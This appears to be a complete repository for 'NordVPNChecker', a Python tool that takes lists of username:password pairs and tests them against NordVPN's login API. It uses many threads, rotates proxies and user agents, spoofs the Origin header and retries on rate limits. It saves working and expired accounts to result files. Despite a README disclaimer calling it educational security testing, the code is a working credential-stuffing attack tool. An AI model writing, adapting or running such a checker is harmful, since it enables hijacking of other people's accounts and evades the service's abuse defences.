├── combos.txt ├── proxies.txt ├── [Results] └── removeme.txt ├── requirements.txt ├── run_script.bat ├── .gitattributes ├── requirements_install.bat ├── README.md ├── .gitignore ├── helpers.py └── main.py /combos.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /proxies.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /[Results]/removeme.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.26.0 -------------------------------------------------------------------------------- /run_script.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cls 3 | color a 4 | python main.py 5 | pause -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /requirements_install.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title Requirements installer 3 | cls 4 | color a 5 | pip3 install -r requirements.txt 6 | pause 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NordVPNChecker 2 | Check multiple accounts validity on NordVPN. 3 | 4 | # Features 5 | - Title update.
6 | - Multithreading.
7 | - Proxy rotation.
8 | - Useragent rotation.
9 | - Expire check.
10 | - Detailed hits. 11 | 12 | # Preview 13 | ![](https://i.ibb.co/wB8wRJf/Nord-VPN-w-JDDXVUsba2.png) 14 | 15 | # Installation 16 | - First method, make sure you have python 3.8.7 or higher.
17 | ``` 18 | pip3 install -r requirements.txt then run the command python main.py 19 | ``` 20 | - Second method, run 21 | ``` 22 | requirements_install.bat 23 | ``` 24 | ``` 25 | run_script.bat 26 | ``` 27 | - Third method, download the exe version from the releases tab on the right side. 28 | 29 | # Note 30 | - If you have any issues or noticed something feel free to report the issue so i can fix it when i will have time.
31 | 32 | # Legal 33 | The software designed to perform website security testing.
34 | The author is not responsible for any illegal use of these programs.
35 | I am not accountable for anything you get into.
36 | I am not accountable for any of your actions.
37 | This is 100% educational, please do not misuse this tool. -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # celery beat schedule file 95 | celerybeat-schedule 96 | 97 | # SageMath parsed files 98 | *.sage.py 99 | 100 | # Environments 101 | .env 102 | .venv 103 | env/ 104 | venv/ 105 | ENV/ 106 | env.bak/ 107 | venv.bak/ 108 | 109 | # Spyder project settings 110 | .spyderproject 111 | .spyproject 112 | 113 | # Rope project settings 114 | .ropeproject 115 | 116 | # mkdocs documentation 117 | /site 118 | 119 | # mypy 120 | .mypy_cache/ 121 | .dmypy.json 122 | dmypy.json 123 | 124 | # Pyre type checker 125 | .pyre/ 126 | bads.txt 127 | NordVPNChecker.zip 128 | NordVPNChecker/combos.txt 129 | NordVPNChecker/NordVPNChecker.exe 130 | NordVPNChecker/proxies.txt 131 | NordVPNChecker/useragents.txt 132 | -------------------------------------------------------------------------------- /helpers.py: -------------------------------------------------------------------------------- 1 | from os import name,system,stat 2 | from sys import stdout 3 | from time import sleep 4 | from datetime import datetime 5 | from random import choice 6 | 7 | colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m",'bblue':"\033[1;34;40m",'bcyan':"\033[1;36;40m"} 8 | 9 | def _clear(): 10 | """Clears the console on every os.""" 11 | if name == 'posix': 12 | system('clear') 13 | elif name in ('ce', 'nt', 'dos'): 14 | system('cls') 15 | else: 16 | print("\n") * 120 17 | 18 | def _setTitle(title:str): 19 | """Sets the console title on every os.""" 20 | if name == 'posix': 21 | stdout.write(f"\x1b]2;{title}\x07") 22 | elif name in ('ce', 'nt', 'dos'): 23 | system(f'title {title}') 24 | else: 25 | stdout.write(f"\x1b]2;{title}\x07") 26 | 27 | def _printText(bracket_color,text_in_bracket_color,text_in_bracket,text): 28 | """Prints colored formatted text.""" 29 | stdout.flush() 30 | text = text.encode('ascii','replace').decode() 31 | stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n') 32 | 33 | def _readFile(filename,method): 34 | """Read file with empty and file not found check.""" 35 | try: 36 | if stat(filename).st_size != 0: 37 | with open(filename,method,encoding='utf8') as f: 38 | content = [line.strip('\n') for line in f] 39 | return content 40 | else: 41 | _printText(colors['red'],colors['white'],'ERROR',f'{filename} is empty!') 42 | sleep(2) 43 | raise SystemExit 44 | except FileNotFoundError: 45 | _printText(colors['red'],colors['white'],'ERROR','File not found!') 46 | 47 | def _getCurrentTime(): 48 | """Returns the current time formatted.""" 49 | now = datetime.now() 50 | curr_time = now.strftime("%Y-%m-%d %H:%M:%S") 51 | return curr_time 52 | 53 | def _getRandomUserAgent(path): 54 | """Returns a random user agent.""" 55 | useragents = _readFile(path,'r') 56 | return choice(useragents) 57 | 58 | def _getRandomProxy(use_proxy, proxy_type,path): 59 | """Returns random proxy dict with proxy type check.""" 60 | proxies = {} 61 | if use_proxy == 1: 62 | proxies_file = _readFile(path, 'r') 63 | random_proxy = choice(proxies_file) 64 | if proxy_type == 1: 65 | proxies = { 66 | "http": "http://{0}".format(random_proxy), 67 | "https": "https://{0}".format(random_proxy) 68 | } 69 | elif proxy_type == 2: 70 | proxies = { 71 | "http": "socks4://{0}".format(random_proxy), 72 | "https": "socks4://{0}".format(random_proxy) 73 | } 74 | else: 75 | proxies = { 76 | "http": "socks5://{0}".format(random_proxy), 77 | "https": "socks5://{0}".format(random_proxy) 78 | } 79 | else: 80 | proxies = { 81 | "http": None, 82 | "https": None 83 | } 84 | return proxies -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import json 2 | from helpers import _clear,_setTitle,_printText,_readFile,_getCurrentTime,_getRandomUserAgent,_getRandomProxy,colors 3 | from threading import Thread,active_count, current_thread 4 | from time import sleep 5 | from datetime import datetime 6 | import requests 7 | 8 | class Main: 9 | def __init__(self) -> None: 10 | _setTitle('[NordVPN]') 11 | _clear() 12 | title = colors['bcyan']+""" 13 | ╔═════════════════════════════════════════════════════════════════════════╗ 14 | $$\ $$\ $$\ $$\ $$\ $$$$$$$\ $$\ $$\ 15 | $$$\ $$ | $$ |$$ | $$ |$$ __$$\ $$$\ $$ | 16 | $$$$\ $$ | $$$$$$\ $$$$$$\ $$$$$$$ |$$ | $$ |$$ | $$ |$$$$\ $$ | 17 | $$ $$\$$ |$$ __$$\ $$ __$$\ $$ __$$ |\$$\ $$ |$$$$$$$ |$$ $$\$$ | 18 | $$ \$$$$ |$$ / $$ |$$ | \__|$$ / $$ | \$$\$$ / $$ ____/ $$ \$$$$ | 19 | $$ |\$$$ |$$ | $$ |$$ | $$ | $$ | \$$$ / $$ | $$ |\$$$ | 20 | $$ | \$$ |\$$$$$$ |$$ | \$$$$$$$ | \$ / $$ | $$ | \$$ | 21 | \__| \__| \______/ \__| \_______| \_/ \__| \__| \__| 22 | ╚═════════════════════════════════════════════════════════════════════════╝ 23 | """ 24 | print(title) 25 | self.stop_thread = False 26 | 27 | self.hit = 0 28 | self.bad = 0 29 | self.expired = 0 30 | self.retries = 0 31 | 32 | self.use_proxy = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}[1]Proxy/[2]Proxyless:{colors["bcyan"]} ')) 33 | self.proxy_type = None 34 | 35 | if self.use_proxy == 1: 36 | self.proxy_type = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}[1]Https/[2]Socks4/[3]Socks5:{colors["bcyan"]} ')) 37 | 38 | self.threads = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}Threads:{colors["bcyan"]} ')) 39 | self.session = requests.session() 40 | print('') 41 | 42 | def _titleUpdate(self): 43 | while True: 44 | _setTitle(f'[NordVPN] ^| HITS: {self.hit} ^| BAD: {self.bad} ^| EXPIRED: {self.expired} ^| RETRIES: {self.retries}') 45 | sleep(0.4) 46 | if self.stop_thread == True: 47 | break 48 | 49 | def _check(self,user,password): 50 | useragent = _getRandomUserAgent('useragents.txt') 51 | headers = {'User-Agent':useragent,'Content-Type':'application/json','Host':'api.nordvpn.com','Accept':'application/json','DNT':'1','Origin':'chrome-extension://fjoaledfpmneenckfbpdfhkmimnjocfa'} 52 | proxy = _getRandomProxy(self.use_proxy,self.proxy_type,'proxies.txt') 53 | payload = {'username':user,'password':password} 54 | try: 55 | response = self.session.post('https://api.nordvpn.com/v1/users/tokens',json=payload,proxies=proxy,headers=headers) 56 | 57 | if "'code': 100103" in response.text: 58 | self.bad += 1 59 | _printText(colors['bcyan'],colors['red'],'BAD',f'{user}:{password}') 60 | with open('[Results]/bads.txt','a',encoding='utf8') as f: 61 | f.write(f'{user}:{password}\n') 62 | elif "'code': 101301" in response.text: 63 | self.bad += 1 64 | _printText(colors['bcyan'],colors['red'],'BAD',f'{user}:{password}') 65 | with open('[Results]/bads.txt','a',encoding='utf8') as f: 66 | f.write(f'{user}:{password}\n') 67 | elif 'user_id' in response.text: 68 | expires_at = response.json()['expires_at'] 69 | expires_at = datetime.strptime(expires_at,"%Y-%m-%d %H:%M:%S") 70 | curr_time = datetime.strptime(_getCurrentTime(),"%Y-%m-%d %H:%M:%S") 71 | if expires_at < curr_time: 72 | self.expired += 1 73 | _printText(colors['bcyan'],colors['red'],'EXPIRED',f'{user}:{password} [{expires_at}]') 74 | with open('[Results]/expireds.txt','a',encoding='utf8') as f: 75 | f.write(f'{user}:{password} [{str(expires_at)}\n') 76 | else: 77 | self.hit += 1 78 | _printText(colors['bcyan'],colors['green'],'HIT',f'{user}:{password} [{expires_at}]') 79 | with open('[Results]/hits.txt','a',encoding='utf8') as f: 80 | f.write(f'{user}:{password}\n') 81 | with open('[Results]/detailed_hits.txt','a',encoding='utf8') as f: 82 | f.write(f'{user}:{password} [{str(expires_at)}]\n') 83 | elif '429 Too Many Requests' in response.text: 84 | self.retries += 1 85 | self._check(user,password) 86 | else: 87 | self.retries += 1 88 | self._check(user,password) 89 | except Exception: 90 | self.retries += 1 91 | self._check(user,password) 92 | 93 | def _start(self): 94 | combos = _readFile('combos.txt','r') 95 | t = Thread(target=self._titleUpdate) 96 | t.start() 97 | threads = [] 98 | for combo in combos: 99 | run = True 100 | 101 | user = combo.split(':')[0] 102 | password = combo.split(':')[1] 103 | 104 | while run: 105 | if active_count()<=self.threads: 106 | thread = Thread(target=self._check,args=(user,password)) 107 | threads.append(thread) 108 | thread.start() 109 | run = False 110 | 111 | for x in threads: 112 | x.join() 113 | 114 | print('') 115 | _printText(colors['bcyan'],colors['yellow'],'FINISHED','Process done!') 116 | 117 | if __name__ == '__main__': 118 | Main()._start() --------------------------------------------------------------------------------